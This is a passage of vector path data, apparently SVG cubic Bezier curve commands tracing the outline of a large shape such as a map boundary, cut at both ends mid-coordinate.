50426.57 152811.10 50405.29 152778.76 50383.76C152768.15 50373.05 152757.33 50362.54 152746.85 50351.69C152736.24 50330.13 152725.62 50308.56 152715.00 50287.00C152725.67 50265.67 152736.33 50244.33 152747.00 50223.00C152768.33 50201.67 152789.67 50180.33 152811.00 50159.00C152832.67 50148.00 152854.33 50137.00 152876.00 50126.00C152876.00 50115.33 152876.00 50104.67 152876.00 50094.00C152886.94 50082.80 152898.44 50072.09 152909.02 50060.56C152962.01 49986.04 153015.01 49911.52 153068.00 49837.00C153088.66 49797.14 153109.15 49757.19 153129.03 49716.94C153133.29 49711.16 153133.38 49704.41 153133.00 49697.54C153132.86 49689.93 153133.35 49682.23 153132.67 49674.67C153122.11 49632.45 153111.56 49590.22 153101.00 49548.00C153122.33 49515.67 153143.67 49483.33 153165.00 49451.00C153165.00 49419.00 153165.00 49387.00 153165.00 49355.00C153175.67 49355.00 153186.33 49355.00 153197.00 49355.00C153197.00 49322.67 153197.00 49290.33 153197.00 49258.00C153165.00 49236.67 153133.00 49215.33 153101.00 49194.00C153090.00 49172.67 153079.00 49151.33 153068.00 49130.00C153079.00 49087.00 153090.00 49044.00 153101.00 49001.00C153079.22 48979.62 153057.57 48958.11 153035.71 48936.81C152971.48 48893.87 152907.24 48850.93 152843.00 48808.00C152843.00 48797.33 152843.00 48786.67 152843.00 48776.00C152832.33 48776.00 152821.67 48776.00 152811.00 48776.00C152789.67 48786.67 152768.33 48797.33 152747.00 48808.00C152725.67 48808.00 152704.33 48808.00 152683.00 48808.00C152683.00 48722.33 152683.00 48636.67 152683.00 48551.00C152650.67 48497.33 152618.33 48443.67 152586.00 48390.00C152585.96 48368.55 152586.09 48347.11 152585.93 48325.66C152575.28 48272.11 152564.64 48218.56 152554.00 48165.00C152554.00 48133.00 152554.00 48101.00 152554.00 48069.00C152564.67 48036.67 152575.33 48004.33 152586.00 47972.00C152650.60 47896.77 152715.04 47821.40 152779.74 47746.26C152800.83 47725.18 152821.91 47704.09 152843.00 47683.00C152907.33 47683.00 152971.67 47683.00 153036.00 47683.00C153036.00 47672.33 153036.00 47661.67 153036.00 47651.00C153004.00 47629.33 152972.00 47607.67 152940.00 47586.00C152950.67 47564.67 152961.33 47543.33 152972.00 47522.00C152982.67 47511.33 152993.33 47500.67 153004.00 47490.00C153036.33 47479.33 153068.67 47468.67 153101.00 47458.00C153122.33 47436.33 153143.67 47414.67 153165.00 47393.00C153165.00 47361.00 153165.00 47329.00 153165.00 47297.00C153186.33 47232.67 153207.67 47168.33 153229.00 47104.00C153239.67 47093.33 153250.33 47082.67 153261.00 47072.00C153282.67 47007.67 153304.33 46943.33 153326.00 46879.00C153347.33 46879.00 153368.67 46879.00 153390.00 46879.00C153400.67 46889.67 153411.33 46900.33 153422.00 46911.00C153432.67 46911.00 153443.33 46911.00 153454.00 46911.00C153475.35 46846.56 153497.03 46782.23 153519.00 46718.00C153594.00 46664.33 153669.00 46610.67 153744.00 46557.00C153765.33 46535.67 153786.67 46514.33 153808.00 46493.00C153808.00 46428.67 153808.00 46364.33 153808.00 46300.00C153872.33 46193.00 153936.67 46086.00 154001.00 45979.00C154022.59 45957.59 154043.93 45935.93 154065.00 45914.00C154054.26 45892.29 154043.13 45870.75 154032.64 45848.93C154022.09 45817.28 154011.55 45785.64 154001.00 45754.00C154011.69 45743.21 154022.59 45732.62 154033.15 45721.69C154043.76 45700.13 154054.38 45678.56 154065.00 45657.00C154065.00 45635.67 154065.00 45614.33 154065.00 45593.00C154043.67 45550.00 154022.33 45507.00 154001.00 45464.00C154001.00 45442.67 154001.00 45421.33 154001.00 45400.00C154011.67 45378.67 154022.33 45357.33 154033.00 45336.00C154065.06 45303.57 154097.21 45271.21 154129.21 45238.73C154161.48 45196.15 154193.74 45153.58 154226.00 45111.00C154247.33 45111.00 154268.67 45111.00 154290.00 45111.00C154300.67 45089.33 154311.33 45067.67 154322.00 45046.00C154322.23 45034.99 154321.52 45023.86 154322.37 45012.93C154333.24 44981.28 154344.13 44949.64 154355.00 44918.00C154387.11 44896.29 154419.16 44874.49 154451.31 44852.85C154472.54 44842.23 154493.77 44831.61 154515.00 44821.00C154536.93 44799.24 154559.21 44777.80 154580.93 44755.83C154623.28 44702.55 154665.64 44649.28 154708.00 44596.00C154708.00 44564.00 154708.00 44532.00 154708.00 44500.00C154718.67 44478.33 154729.33 44456.67 154740.00 44435.00C154772.33 44413.67 154804.67 44392.33 154837.00 44371.00C154837.00 44339.00 154837.00 44307.00 154837.00 44275.00C154847.67 44253.33 154858.33 44231.67 154869.00 44210.00C154879.67 44220.67 154890.33 44231.33 154901.00 44242.00C154911.67 44242.00 154922.33 44242.00 154933.00 44242.00C154933.00 44274.33 154933.00 44306.67 154933.00 44339.00C154954.67 44360.33 154976.33 44381.67 154998.00 44403.00C155019.33 44403.00 155040.67 44403.00 155062.00 44403.00C155083.33 44392.33 155104.67 44381.67 155126.00 44371.00C155147.67 44339.00 155169.33 44307.00 155191.00 44275.00C155212.33 44275.00 155233.67 44275.00 155255.00 44275.00C155255.00 44296.33 155255.00 44317.67 155255.00 44339.00C155265.67 44349.67 155276.33 44360.33 155287.00 44371.00C155308.33 44360.33 155329.67 44349.67 155351.00 44339.00C155362.00 44317.67 155373.00 44296.33 155384.00 44275.00C155384.00 44253.33 155384.00 44231.67 155384.00 44210.00C155416.00 44220.67 155448.00 44231.33 155480.00 44242.00C155501.33 44242.00 155522.67 44242.00 155544.00 44242.00C155587.00 44210.00 155630.00 44178.00 155673.00 44146.00C155683.80 44156.69 155694.39 44167.59 155705.31 44178.15C155748.21 44199.43 155791.10 44220.72 155834.00 44242.00C155844.67 44242.00 155855.33 44242.00 155866.00 44242.00C155888.09 44231.09 155909.97 44219.72 155932.21 44209.12C155985.14 44188.08 156038.07 44167.04 156091.00 44146.00C156144.67 44156.67 156198.33 44167.33 156252.00 44178.00C156262.67 44167.33 156273.33 44156.67 156284.00 44146.00C156284.00 44156.67 156284.00 44167.33 156284.00 44178.00C156294.67 44156.67 156305.33 44135.33 156316.00 44114.00C156305.33 44081.67 156294.67 44049.33 156284.00 44017.00C156305.33 44006.33 156326.67 43995.67 156348.00 43985.00C156348.00 43974.33 156348.00 43963.67 156348.00 43953.00C156401.67 43942.33 156455.33 43931.67 156509.00 43921.00C156530.33 43878.00 156551.67 43835.00 156573.00 43792.00C156594.33 43781.33 156615.67 43770.67 156637.00 43760.00C156637.00 43728.00 156637.00 43696.00 156637.00 43664.00C156648.00 43642.33 156659.00 43620.67 156670.00 43599.00C156680.67 43588.33 156691.33 43577.67 156702.00 43567.00C156723.33 43567.00 156744.67 43567.00 156766.00 43567.00C156766.00 43535.00 156766.00 43503.00 156766.00 43471.00C156712.33 43471.00 156658.67 43471.00 156605.00 43471.00C156605.00 43449.33 156605.00 43427.67 156605.00 43406.00C156637.06 43373.72 156669.61 43341.94 156702.00 43310.00C156755.67 43310.00 156809.33 43310.00 156863.00 43310.00C156884.46 43299.34 156905.81 43288.46 156927.34 43277.93C156980.89 43267.29 157034.45 43256.64 157088.00 43246.00C157120.00 43246.00 157152.00 43246.00 157184.00 43246.00C157205.33 43235.33 157226.67 43224.67 157248.00 43214.00C157269.67 43181.67 157291.33 43149.33 157313.00 43117.00C157323.67 43117.00 157334.33 43117.00 157345.00 43117.00C157345.23 43105.99 157344.54 43094.86 157345.36 43083.92C157355.97 43051.85 157366.46 43019.74 157377.15 42987.69C157387.76 42966.46 157398.38 42945.23 157409.00 42924.00C157419.67 42924.00 157430.33 42924.00 157441.00 42924.00C157462.67 42934.67 157484.33 42945.33 157506.00 42956.00C157516.67 42956.00 157527.33 42956.00 157538.00 42956.00C157538.00 42891.67 157538.00 42827.33 157538.00 42763.00C157559.33 42741.67 157580.67 42720.33 157602.00 42699.00C157602.00 42656.00 157602.00 42613.00 157602.00 42570.00C157612.80 42559.31 157623.38 42548.41 157634.31 42537.85C157677.15 42516.77 157720.03 42495.74 157762.59 42474.10C157768.92 42466.66 157774.43 42458.32 157780.45 42450.54C157806.70 42415.27 157832.99 42380.03 157859.15 42344.69C157869.76 42323.46 157880.38 42302.23 157891.00 42281.00C157934.11 42248.96 157977.13 42216.80 158020.31 42184.85C158041.54 42174.23 158062.77 42163.61 158084.00 42153.00C158095.00 42099.33 158106.00 42045.67 158117.00 41992.00C158117.00 41981.33 158117.00 41970.67 158117.00 41960.00C158149.00 41927.67 158181.00 41895.33 158213.00 41863.00C158202.33 41831.00 158191.67 41799.00 158181.00 41767.00C158169.76 41755.68 158159.04 41743.79 158147.44 41732.84C158104.75 41700.94 158061.79 41669.36 158019.26 41637.26C158008.66 41626.44 157997.59 41616.04 157987.31 41604.96C157966.11 41572.90 157945.06 41540.75 157923.76 41508.76C157902.17 41487.51 157880.59 41466.25 157859.00 41445.00C157869.67 41402.33 157880.33 41359.67 157891.00 41317.00C157891.00 41284.67 157891.00 41252.33 157891.00 41220.00C157923.33 41209.33 157955.67 41198.67 157988.00 41188.00C157988.00 41177.33 157988.00 41166.67 157988.00 41156.00C157977.33 41134.33 157966.67 41112.67 157956.00 41091.00C157956.00 41037.67 157956.00 40984.33 157956.00 40931.00C158003.22 40883.42 158050.03 40835.42 158098.06 40788.64C158104.37 40782.43 158110.69 40776.21 158117.00 40770.00C158138.33 40780.67 158159.67 40791.33 158181.00 40802.00C158202.33 40845.00 158223.67 40888.00 158245.00 40931.00C158298.67 40973.67 158352.33 41016.33 158406.00 41059.00C158438.00 41069.67 158470.00 41080.33 158502.00 41091.00C158513.00 41091.00 158524.00 41091.00 158535.00 41091.00C158599.00 41155.33 158663.00 41219.67 158727.00 41284.00C158770.00 41305.67 158813.00 41327.33 158856.00 41349.00C158856.00 41359.67 158856.00 41370.33 158856.00 41381.00C158899.11 41413.04 158942.13 41445.20 158985.31 41477.15C159049.54 41509.44 159113.77 41541.72 159178.00 41574.00C159189.01 41573.77 159200.13 41574.46 159211.08 41573.64C159242.72 41563.10 159274.36 41552.55 159306.00 41542.00C159316.67 41542.00 159327.33 41542.00 159338.00 41542.00C159370.33 41563.33 159402.67 41584.67 159435.00 41606.00C159477.67 41606.00 159520.33 41606.00 159563.00 41606.00C159584.67 41584.67 159606.33 41563.33 159628.00 41542.00C159649.45 41542.04 159670.89 41541.91 159692.34 41542.07C159745.89 41552.71 159799.45 41563.36 159853.00 41574.00C159863.67 41584.67 159874.33 41595.33 159885.00 41606.00C159895.67 41595.33 159906.33 41584.67 159917.00 41574.00C159938.33 41584.67 159959.67 41595.33 159981.00 41606.00C160013.33 41595.33 160045.67 41584.67 160078.00 41574.00C160120.67 41595.33 160163.33 41616.67 160206.00 41638.00C160217.00 41638.00 160228.00 41638.00 160239.00 41638.00C160281.67 41659.33 160324.33 41680.67 160367.00 41702.00C160377.67 41691.33 160388.33 41680.67 160399.00 41670.00C160410.00 41670.00 160421.00 41670.00 160432.00 41670.00C160432.00 41713.00 160432.00 41756.00 160432.00 41799.00C160442.67 41799.00 160453.33 41799.00 160464.00 41799.00C160464.00 41809.67 160464.00 41820.33 160464.00 41831.00C160496.00 41852.33 160528.00 41873.67 160560.00 41895.00C160603.00 41895.00 160646.00 41895.00 160689.00 41895.00C160689.00 41916.67 160689.00 41938.33 160689.00 41960.00C160710.33 41992.00 160731.67 42024.00 160753.00 42056.00C160753.00 42077.33 160753.00 42098.67 160753.00 42120.00C160763.67 42141.67 160774.33 42163.33 160785.00 42185.00C160774.33 42185.00 160763.67 42185.00 160753.00 42185.00C160763.67 42195.67 160774.33 42206.33 160785.00 42217.00C160774.33 42238.33 160763.67 42259.67 160753.00 42281.00C160753.00 42291.67 160753.00 42302.33 160753.00 42313.00C160742.33 42334.67 160731.67 42356.33 160721.00 42378.00C160731.67 42378.00 160742.33 42378.00 160753.00 42378.00C160753.00 42410.00 160753.00 42442.00 160753.00 42474.00C160731.67 42484.67 160710.33 42495.33 160689.00 42506.00C160689.00 42516.67 160689.00 42527.33 160689.00 42538.00C160667.33 42538.00 160645.67 42538.00 160624.00 42538.00C160624.00 42559.67 160624.00 42581.33 160624.00 42603.00C160570.67 42656.33 160517.33 42709.67 160464.00 42763.00C160453.33 42784.67 160442.67 42806.33 160432.00 42828.00C160432.00 42860.00 160432.00 42892.00 160432.00 42924.00C160335.33 43095.67 160238.67 43267.33 160142.00 43439.00C160120.67 43492.33 160099.33 43545.67 160078.00 43599.00C160078.00 43609.67 160078.00 43620.33 160078.00 43631.00C160056.67 43652.67 160035.33 43674.33 160014.00 43696.00C160014.00 43717.33 160014.00 43738.67 160014.00 43760.00C160003.00 43781.33 159992.00 43802.67 159981.00 43824.00C159981.00 43835.00 159981.00 43846.00 159981.00 43857.00C160013.33 43846.00 160045.67 43835.00 160078.00 43824.00C160078.00 43877.67 160078.00 43931.33 160078.00 43985.00C160088.67 43985.00 160099.33 43985.00 160110.00 43985.00C160120.67 44006.67 160131.33 44028.33 160142.00 44050.00C160206.33 44050.00 160270.67 44050.00 160335.00 44050.00C160335.00 44114.00 160335.00 44178.00 160335.00 44242.00C160356.33 44263.67 160377.67 44285.33 160399.00 44307.00C160410.00 44349.67 160421.00 44392.33 160432.00 44435.00C160432.00 44445.67 160432.00 44456.33 160432.00 44467.00C160453.33 44456.33 160474.67 44445.67 160496.00 44435.00C160517.33 44435.00 160538.67 44435.00 160560.00 44435.00C160528.00 44445.67 160496.00 44456.33 160464.00 44467.00C160453.33 44478.00 160442.67 44489.00 160432.00 44500.00C160432.00 44553.33 160432.00 44606.67 160432.00 44660.00C160410.33 44692.33 160388.67 44724.67 160367.00 44757.00C160324.33 44757.00 160281.67 44757.00 160239.00 44757.00C160239.00 44767.67 160239.00 44778.33 160239.00 44789.00C160228.00 44799.67 160217.00 44810.33 160206.00 44821.00C160206.00 44831.67 160206.00 44842.33 160206.00 44853.00C160248.90 44874.86 160291.89 44896.55 160335.00 44918.00C160356.33 44971.33 160377.67 45024.67 160399.00 45078.00C160388.33 45153.00 160377.67 45228.00 160367.00 45303.00C160356.33 45314.00 160345.67 45325.00 160335.00 45336.00C160345.80 45346.69 160356.38 45357.59 160367.31 45368.15C160388.87 45378.77 160410.44 45389.38 160432.00 45400.00C160485.33 45400.00 160538.67 45400.00 160592.00 45400.00C160613.67 45421.33 160635.33 45442.67 160657.00 45464.00C160689.00 45464.00 160721.00 45464.00 160753.00 45464.00C160785.33 45485.67 160817.67 45507.33 160850.00 45529.00C160850.00 45539.67 160850.00 45550.33 160850.00 45561.00C160828.33 45561.00 160806.67 45561.00 160785.00 45561.00C160774.33 45571.67 160763.67 45582.33 160753.00 45593.00C160742.33 45646.67 160731.67 45700.33 160721.00 45754.00C160742.33 45775.33 160763.67 45796.67 160785.00 45818.00C160763.57 45850.07 160742.29 45882.24 160720.76 45914.24C160667.17 45967.82 160613.59 46021.42 160560.00 46075.00C160560.00 46085.67 160560.00 46096.33 160560.00 46107.00C160581.33 46085.67 160602.67 46064.33 160624.00 46043.00C160624.00 46053.67 160624.00 46064.33 160624.00 46075.00C160635.00 46075.00 160646.00 46075.00 160657.00 46075.00C160667.67 46107.33 160678.33 46139.67 160689.00 46172.00C160689.00 46182.67 160689.00 46193.33 160689.00 46204.00C160710.33 46225.33 160731.67 46246.67 160753.00 46268.00C160753.00 46278.67 160753.00 46289.33 160753.00 46300.00C160774.06 46342.82 160795.11 46385.66 160816.68 46428.21C160821.14 46433.68 160826.71 46438.26 160831.60 46443.38C160848.40 46459.92 160865.20 46476.46 160882.00 46493.00C160903.33 46536.00 160924.67 46579.00 160946.00 46622.00C160924.67 46675.67 160903.33 46729.33 160882.00 46783.00C160871.33 46783.00 160860.67 46783.00 160850.00 46783.00C160850.00 46793.67 160850.00 46804.33 160850.00 46815.00C160839.00 46815.00 160828.00 46815.00 160817.00 46815.00C160817.00 46825.67 160817.00 46836.33 160817.00 46847.00C160806.33 46857.67 160795.67 46868.33 160785.00 46879.00C160806.46 46922.10 160828.12 46965.11 160850.00 47008.00C160817.67 47029.33 160785.33 47050.67 160753.00 47072.00C160753.00 47082.67 160753.00 47093.33 160753.00 47104.00C160763.67 47104.00 160774.33 47104.00 160785.00 47104.00C160827.77 47083.06 160870.40 47061.84 160913.00 47040.55C160918.86 47039.28 160925.20 47040.36 160931.25 47040.00C160946.83 47040.00 160962.42 47040.00 160978.00 47040.00C160999.33 47029.33 161020.67 47018.67 161042.00 47008.00C161053.00 47018.67 161064.00 47029.33 161075.00 47040.00C161085.67 47029.33 161096.33 47018.67 161107.00 47008.00C161107.00 47018.67 161107.00 47029.33 161107.00 47040.00C161128.33 47050.67 161149.67 47061.33 161171.00 47072.00C161182.01 47072.23 161193.14 47071.54 161204.09 47072.36C161236.06 47082.90 161268.03 47093.45 161300.00 47104.00C161332.00 47104.00 161364.00 47104.00 161396.00 47104.00C161406.67 47114.67 161417.33 47125.33 161428.00 47136.00C161428.00 47146.67 161428.00 47157.33 161428.00 47168.00C161406.67 47189.67 161385.33 47211.33 161364.00 47233.00C161374.67 47254.33 161385.33 47275.67 161396.00 47297.00C161374.67 47361.33 161353.33 47425.67 161332.00 47490.00C161321.33 47500.67 161310.67 47511.33 161300.00 47522.00C161321.33 47554.33 161342.67 47586.67 161364.00 47619.00C161364.00 47640.33 161364.00 47661.67 161364.00 47683.00C161385.45 47693.67 161406.82 47704.52 161428.33 47715.08C161471.22 47725.72 161514.11 47736.36 161557.00 47747.00C161535.63 47768.45 161514.10 47789.75 161492.82 47811.29C161439.22 47897.20 161385.61 47983.10 161332.00 48069.00C161353.33 48197.67 161374.67 48326.33 161396.00 48455.00C161396.00 48487.00 161396.00 48519.00 161396.00 48551.00C161374.67 48561.67 161353.33 48572.33 161332.00 48583.00C161310.67 48626.00 161289.33 48669.00 161268.00 48712.00C161246.33 48733.33 161224.67 48754.67 161203.00 48776.00C161203.00 48829.67 161203.00 48883.33 161203.00 48937.00C161181.67 48979.67 161160.33 49022.33 161139.00 49065.00C161139.00 49118.67 161139.00 49172.33 161139.00 49226.00C161117.67 49258.33 161096.33 49290.67 161075.00 49323.00C161075.00 49365.67 161075.00 49408.33 161075.00 49451.00C161053.33 49472.67 161031.67 49494.33 161010.00 49516.00C160999.33 49548.00 160988.67 49580.00 160978.00 49612.00C160967.33 49612.00 160956.67 49612.00 160946.00 49612.00C160935.33 49644.33 160924.67 49676.67 160914.00 49709.00C160881.67 49709.00 160849.33 49709.00 160817.00 49709.00C160828.00 49719.67 160839.00 49730.33 160850.00 49741.00C160871.33 49741.00 160892.67 49741.00 160914.00 49741.00C160914.00 49762.33 160914.00 49783.67 160914.00 49805.00C160903.33 49837.00 160892.67 49869.00 160882.00 49901.00C160882.00 49922.67 160882.00 49944.33 160882.00 49966.00C160924.67 49987.33 160967.33 50008.67 161010.00 50030.00C161042.62 50073.21 161074.94 50116.68 161107.74 50159.74C161118.16 50170.16 161128.58 50180.58 161139.00 50191.00C161095.72 50244.89 161052.68 50298.97 161009.26 50352.74C160966.84 50395.16 160924.42 50437.58 160882.00 50480.00C160871.33 50501.67 160860.67 50523.33 160850.00 50545.00C160850.00 50555.67 160850.00 50566.33 160850.00 50577.00C160828.33 50587.67 160806.67 50598.33 160785.00 50609.00C160785.00 50619.67 160785.00 50630.33 160785.00 50641.00C160806.79 50651.67 160828.49 50662.52 160850.33 50673.08C160892.89 50683.72 160935.44 50694.36 160978.00 50705.00C160978.00 50715.67 160978.00 50726.33 160978.00 50737.00C160956.67 50748.00 160935.33 50759.00 160914.00 50770.00C160903.33 50802.00 160892.67 50834.00 160882.00 50866.00C160882.00 50876.67 160882.00 50887.33 160882.00 50898.00C160860.33 50908.67 160838.67 50919.33 160817.00 50930.00C160828.00 50983.67 160839.00 51037.33 160850.00 51091.00C160828.33 51112.33 160806.67 51133.67 160785.00 51155.00C160817.33 51198.00 160849.67 51241.00 160882.00 51284.00C160871.33 51305.33 160860.67 51326.67 160850.00 51348.00C160871.33 51380.33 160892.67 51412.67 160914.00 51445.00C160914.00 51466.33 160914.00 51487.67 160914.00 51509.00C160935.33 51509.00 160956.67 51509.00 160978.00 51509.00C160978.00 51519.67 160978.00 51530.33 160978.00 51541.00C160988.67 51551.67 160999.33 51562.33 161010.00 51573.00C161020.67 51551.67 161031.33 51530.33 161042.00 51509.00C161063.67 51519.67 161085.33 51530.33 161107.00 51541.00C161160.67 51616.00 161214.33 51691.00 161268.00 51766.00C161278.67 51755.33 161289.33 51744.67 161300.00 51734.00C161310.67 51734.00 161321.33 51734.00 161332.00 51734.00C161332.00 51755.33 161332.00 51776.67 161332.00 51798.00C161353.33 51809.00 161374.67 51820.00 161396.00 51831.00C161396.00 51863.00 161396.00 51895.00 161396.00 51927.00C161385.33 51970.00 161374.67 52013.00 161364.00 52056.00C161417.67 52056.00 161471.33 52056.00 161525.00 52056.00C161525.00 52077.33 161525.00 52098.67 161525.00 52120.00C161535.67 52120.00 161546.33 52120.00 161557.00 52120.00C161557.00 52130.67 161557.00 52141.33 161557.00 52152.00C161567.67 52162.67 161578.33 52173.33 161589.00 52184.00C161589.00 52205.67 161589.00 52227.33 161589.00 52249.00C161632.00 52270.33 161675.00 52291.67 161718.00 52313.00C161739.33 52291.67 161760.67 52270.33 161782.00 52249.00C161792.67 52249.00 161803.33 52249.00 161814.00 52249.00C161824.67 52281.00 161835.33 52313.00 161846.00 52345.00C161867.67 52334.33 161889.33 52323.67 161911.00 52313.00C161911.00 52345.00 161911.00 52377.00 161911.00 52409.00C161953.67 52430.67 161996.33 52452.33 162039.00 52474.00C162049.67 52506.00 162060.33 52538.00 162071.00 52570.00C162082.00 52559.33 162093.00 52548.67 162104.00 52538.00C162114.67 52538.00 162125.33 52538.00 162136.00 52538.00C162157.33 52570.00 162178.67 52602.00 162200.00 52634.00C162232.00 52634.00 162264.00 52634.00 162296.00 52634.00C162307.00 52655.67 162318.00 52677.33 162329.00 52699.00C162318.00 52731.00 162307.00 52763.00 162296.00 52795.00C162307.00 52838.00 162318.00 52881.00 162329.00 52924.00C162296.67 52945.33 162264.33 52966.67 162232.00 52988.00C162264.33 53009.33 162296.67 53030.67 162329.00 53052.00C162339.67 53052.00 162350.33 53052.00 162361.00 53052.00C162371.67 53073.67 162382.33 53095.33 162393.00 53117.00C162371.67 53127.67 162350.33 53138.33 162329.00 53149.00C162329.00 53192.00 162329.00 53235.00 162329.00 53278.00C162350.33 53288.67 162371.67 53299.33 162393.00 53310.00C162393.00 53331.33 162393.00 53352.67 162393.00 53374.00C162382.33 53406.00 162371.67 53438.00 162361.00 53470.00C162339.33 53481.00 162317.67 53492.00 162296.00 53503.00C162285.33 53535.00 162274.67 53567.00 162264.00 53599.00C162274.84 53610.07 162286.16 53620.72 162296.70 53632.04C162318.17 53664.14 162339.74 53696.17 162361.15 53728.31C162371.76 53749.54 162382.38 53770.77 162393.00 53792.00C162382.33 53802.67 162371.67 53813.33 162361.00 53824.00C162328.67 53824.00 162296.33 53824.00 162264.00 53824.00C162253.33 53834.67 162242.67 53845.33 162232.00 53856.00C162232.00 53866.67 162232.00 53877.33 162232.00 53888.00C162242.67 53909.67 162253.33 53931.33 162264.00 53953.00C162285.09 53974.32 162306.54 53995.30 162328.05 54016.18C162332.06 54021.75 162334.39 54028.44 162337.73 54034.45C162345.48 54049.97 162353.24 54065.48 162361.00 54081.00C162361.00 54092.00 162361.00 54103.00 162361.00 54114.00C162339.33 54135.33 162317.67 54156.67 162296.00 54178.00C162296.00 54231.67 162296.00 54285.33 162296.00 54339.00C162285.33 54349.67 162274.67 54360.33 162264.00 54371.00C162274.67 54392.33 162285.33 54413.67 162296.00 54435.00C162296.00 54456.33 162296.00 54477.67 162296.00 54499.00C162328.33 54520.67 162360.67 54542.33 162393.00 54564.00C162393.00 54606.67 162393.00 54649.33 162393.00 54692.00C162414.14 54735.10 162435.44 54778.11 162457.00 54821.00C162446.33 54864.00 162435.67 54907.00 162425.00 54950.00C162414.33 54971.33 162403.67 54992.67 162393.00 55014.00C162360.67 55024.67 162328.33 55035.33 162296.00 55046.00C162285.33 55056.67 162274.67 55067.33 162264.00 55078.00C162274.67 55099.46 162285.52 55120.82 162296.09 55142.33C162307.06 55185.22 162318.03 55228.11 162329.00 55271.00C162350.33 55303.00 162371.67 55335.00 162393.00 55367.00C162382.33 55388.67 162371.67 55410.33 162361.00 55432.00C162382.46 55517.64 162403.79 55603.30 162425.00 55689.00C162414.33 55742.67 162403.67 55796.33 162393.00 55850.00C162404.05 55882.83 162414.72 55915.78 162426.01 55948.52C162447.00 56001.35 162468.00 56054.17 162489.00 56107.00C162478.33 56139.00 162467.67 56171.00 162457.00 56203.00C162489.33 56235.33 162521.67 56267.67 162554.00 56300.00C162554.00 56385.67 162554.00 56471.33 162554.00 56557.00C162543.00 56589.33 162532.00 56621.67 162521.00 56654.00C162510.33 56664.67 162499.67 56675.33 162489.00 56686.00C162489.00 56696.67 162489.00 56707.33 162489.00 56718.00C162467.67 56739.33 162446.33 56760.67 162425.00 56782.00C162425.00 56835.67 162425.00 56889.33 162425.00 56943.00C162457.00 56932.33 162489.00 56921.67 162521.00 56911.00C162542.67 56932.33 162564.33 56953.67 162586.00 56975.00C162607.33 57050.00 162628.67 57125.00 162650.00 57200.00C162671.33 57243.00 162692.67 57286.00 162714.00 57329.00C162703.33 57361.00 162692.67 57393.00 162682.00 57425.00C162682.00 57543.00 162682.00 57661.00 162682.00 57779.00C162725.00 57832.67 162768.00 57886.33 162811.00 57940.00C162832.33 57993.67 162853.67 58047.33 162875.00 58101.00C162885.80 58111.69 162896.38 58122.59 162907.31 58133.15C162928.87 58143.77 162950.44 58154.38 162972.00 58165.00C162982.67 58175.67 162993.33 58186.33 163004.00 58197.00C163004.00 58250.67 163004.00 58304.33 163004.00 58358.00C162993.33 58411.33 162982.67 58464.67 162972.00 58518.00C162950.33 58529.00 162928.67 58540.00 162907.00 58551.00C162907.05 58572.44 162906.91 58593.89 162907.07 58615.34C162918.06 58668.89 162929.02 58722.45 162940.00 58776.00C162940.00 58851.00 162940.00 58926.00 162940.00 59001.00C162950.67 59043.67 162961.33 59086.33 162972.00 59129.00C162972.00 59172.00 162972.00 59215.00 162972.00 59258.00C163036.33 59322.33 163100.67 59386.67 163165.00 59451.00C163186.33 59504.67 163207.67 59558.33 163229.00 59612.00C163229.00 59622.67 163229.00 59633.33 163229.00 59644.00C163250.33 59665.33 163271.67 59686.67 163293.00 59708.00C163293.00 59718.67 163293.00 59729.33 163293.00 59740.00C163271.67 59783.00 163250.33 59826.00 163229.00 59869.00C163271.90 59911.77 163314.34 59954.99 163357.00 59998.00C163443.00 59998.00 163529.00 59998.00 163615.00 59998.00C163647.00 60030.00 163679.00 60062.00 163711.00 60094.00C163743.40 60115.43 163775.90 60136.71 163808.24 60158.24C163818.83 60168.82 163829.41 60179.42 163840.00 60190.00C163905.78 60201.17 163971.51 60212.65 164037.32 60223.61C164111.00 60234.06 164184.65 60244.63 164258.34 60255.00C164300.89 60255.00 164343.45 60255.00 164386.00 60255.00C164407.67 60265.67 164429.33 60276.33 164451.00 60287.00C164483.00 60319.00 164515.00 60351.00 164547.00 60383.00C164547.23 60394.01 164546.54 60405.14 164547.36 60416.08C164557.91 60448.05 164568.45 60480.03 164579.00 60512.00C164590.00 60522.67 164601.00 60533.33 164612.00 60544.00C164622.67 60576.33 164633.33 60608.67 164644.00 60641.00C164654.67 60651.67 164665.33 60662.33 164676.00 60673.00C164697.33 60673.00 164718.67 60673.00 164740.00 60673.00C164761.33 60651.33 164782.67 60629.67 164804.00 60608.00C164825.67 60597.33 164847.33 60586.67 164869.00 60576.00C164901.00 60586.67 164933.00 60597.33 164965.00 60608.00C164965.00 60619.00 164965.00 60630.00 164965.00 60641.00C164913.22 60692.81 164861.52 60744.70 164809.15 60795.93C164803.05 60800.42 164800.93 60807.78 164797.50 60814.20C164789.00 60831.47 164780.50 60848.74 164772.00 60866.00C164761.33 60866.00 164750.67 60866.00 164740.00 60866.00C164718.67 60876.67 164697.33 60887.33 164676.00 60898.00C164676.00 60940.67 164676.00 60983.33 164676.00 61026.00C164665.33 61047.67 164654.67 61069.33 164644.00 61091.00C164665.33 61144.33 164686.67 61197.67 164708.00 61251.00C164697.33 61272.67 164686.67 61294.33 164676.00 61316.00C164676.00 61391.00 164676.00 61466.00 164676.00 61541.00C164708.00 61551.67 164740.00 61562.33 164772.00 61573.00C164772.00 61583.67 164772.00 61594.33 164772.00 61605.00C164740.00 61615.67 164708.00 61626.33 164676.00 61637.00C164676.00 61648.00 164676.00 61659.00 164676.00 61670.00C164665.33 61659.00 164654.67 61648.00 164644.00 61637.00C164644.00 61658.67 164644.00 61680.33 164644.00 61702.00C164654.67 61702.00 164665.33 61702.00 164676.00 61702.00C164676.00 61712.67 164676.00 61723.33 164676.00 61734.00C164654.67 61755.33 164633.33 61776.67 164612.00 61798.00C164612.00 61808.67 164612.00 61819.33 164612.00 61830.00C164590.33 61873.00 164568.67 61916.00 164547.00 61959.00C164525.67 61969.67 164504.33 61980.33 164483.00 61991.00C164483.00 62001.67 164483.00 62012.33 164483.00 62023.00C164450.67 62066.00 164418.33 62109.00 164386.00 62152.00C164397.00 62173.33 164408.00 62194.67 164419.00 62216.00C164397.33 62280.33 164375.67 62344.67 164354.00 62409.00C164354.00 62430.33 164354.00 62451.67 164354.00 62473.00C164343.33 62484.00 164332.67 62495.00 164322.00 62506.00C164311.30 62559.90 164300.28 62613.75 164289.80 62667.68C164279.19 62752.79 164268.60 62837.89 164258.00 62923.00C164268.67 62966.00 164279.33 63009.00 164290.00 63052.00C164279.33 63073.33 164268.67 63094.67 164258.00 63116.00C164215.00 63137.67 164172.00 63159.33 164129.00 63181.00C164139.67 63202.33 164150.33 63223.67 164161.00 63245.00C164139.67 63330.67 164118.33 63416.33 164097.00 63502.00C163936.33 